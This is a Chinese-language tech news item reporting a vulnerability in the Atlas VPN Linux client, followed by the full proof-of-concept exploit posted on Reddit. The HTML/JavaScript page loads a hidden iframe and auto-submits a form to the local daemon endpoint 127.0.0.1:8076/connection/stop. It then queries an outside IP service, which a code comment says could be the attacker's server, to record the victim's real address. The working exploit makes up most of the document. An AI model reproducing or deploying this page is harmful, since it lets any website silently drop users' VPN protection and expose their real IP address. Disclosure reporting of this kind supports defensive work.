媒体 9月5日 称，影响 Linux客户端 的 Atlas VPN 漏洞，仅通过访问网站即可泄露用户的真实IP地址。
用户 Educational-Map-8145 在 Reddit 上发布了一个 PoC，演示如何利用 Atlas VPN Linux API 来泄露用户的 IP 地址。
该 PoC 创建了一个由 JavaScript 自动提交的隐藏表单，连接到 API 终端URL http://127.0.0.1:8076/connection/stop，访问该 API 终端时，它会自动终止隐藏用户 IP 地址的 Atlas VPN 会话。一旦 VPN 连接断开，PoC 就会连接到 api.ipify.org，记录访问者的实际 IP 地址。
Atlas VPN承诺将尽快发布修复程序
Poc：
<html>
<head>
<title>=[ atlasvpnd 1.0.3 remote disconnect exploit ]=</title>
</head>
<body>
<pre><code id="log">=[ atlasvpnd 1.0.3 remote disconnect exploit ]=
You should be running the atlasvpn linux client and be connected to a VPN.
Use <b>atlasvpn connect</b> to connect to a VPN server.
</code></pre>
<iframe id="hiddenFrame" name="hiddenFrame" style="display: none;"></iframe>
<form id="stopForm" action="http://127.0.0.1:8076/connection/stop" method="post" target="hiddenFrame">
<button type="submit" style="display: none"></button>
</form>
<script>
window._currentIP = false;
// Run main exploit code
window.addEventListener('load', function () {
addIPToLog();
setTimeout(triggerFormSubmission, 1000);
setTimeout(addIPToLog, 3000);
});
// Blind CORS request to atlasvpnd to disconnect the VPN
function triggerFormSubmission() {
var logDiv = document.getElementById('log');
logDiv.innerHTML += "[-] Sending disconnect request to atlasvpnd...n";
document.getElementById('stopForm').submit();
}
// Gets IP from ipfy API (this, of course, could be your server)
function addIPToLog() {
var logDiv = document.getElementById('log');
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.ipify.org?format=json', true);
xhr.onload = function () {
var ipAddress = window._currentIP;
if (xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
ipAddress = response.ip;
logDiv.innerHTML += '[?] Current IP:' + ipAddress + "n";
} else {
logDiv.innerHTML += '[-] Error fetching IP address.n';
}
// Check if the IP changed. If yes: Success.
if (window._currentIP && window._currentIP != ipAddress) {
logDiv.innerHTML += "[+] Successfully disconnected VPN."
}
if (window._currentIP && window._currentIP == ipAddress) {
logDiv.innerHTML += "[-] Disconnect failed our you were not connected to the VPN in the first place."
}
// Save IP for next iteration.
window._currentIP = ipAddress;
};
xhr.send();
}
</script>
</body>
</html>
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